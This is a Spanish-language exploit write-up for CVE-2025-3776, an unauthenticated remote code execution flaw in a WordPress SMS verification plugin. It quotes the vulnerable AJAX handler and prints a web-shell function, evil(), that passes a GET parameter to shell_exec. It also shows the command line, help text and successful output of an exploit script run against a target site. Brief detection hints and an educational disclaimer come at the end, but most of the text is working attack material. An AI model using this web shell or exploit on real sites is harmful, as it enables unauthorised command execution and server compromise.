
El plugin Verification SMS with TargetSMS de WordPress <= 1.5 es vulnerable a Ejecución Remota de Código (RCE).
La vulnerabilidad se origina por el uso de call_user_func() sobre entrada controlada por el usuario sin sanearla contra una lista blanca de funciones permitidas. Esto crea una falla lógica donde cualquier función PHP existente en memoria puede ejecutarse sin autenticación, lo que deriva en una condición grave de Ejecución Remota de Código (RCE).
Archivo: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
Este código permite a usuarios no autenticados invocar cualquier función existente en memoria, incluidas funciones maliciosas si el atacante puede cargarlas.
Para explotar esta vulnerabilidad con éxito, debe existir una función invocable en el entorno de WordPress. Dado que los plugins y temas de WordPress pueden cargar funciones automáticamente, el atacante puede inyectar su propia función a través del archivo functions.php del tema activo.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ Esto garantiza que la función
evil()se cargue en memoria y pueda ejecutarse mediantecall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
Si no hay una función evil() o similar disponible en memoria:
{"status":false}
functions.php del tema activo (como se demostró).evil().Una vez cargada una función maliciosa, un atacante no autenticado puede:
Busca solicitudes POST repetidas hacia:
/wp-admin/admin-ajax.php?action=targetvrHHndler
Con callback=evil o cualquier nombre de función inesperado
Esta información se proporciona únicamente con fines educativos y de investigación ética. El autor no es responsable del mal uso o los daños causados por el uso de esta información.
Exploit por: Nxploited (Khaled Alenazi)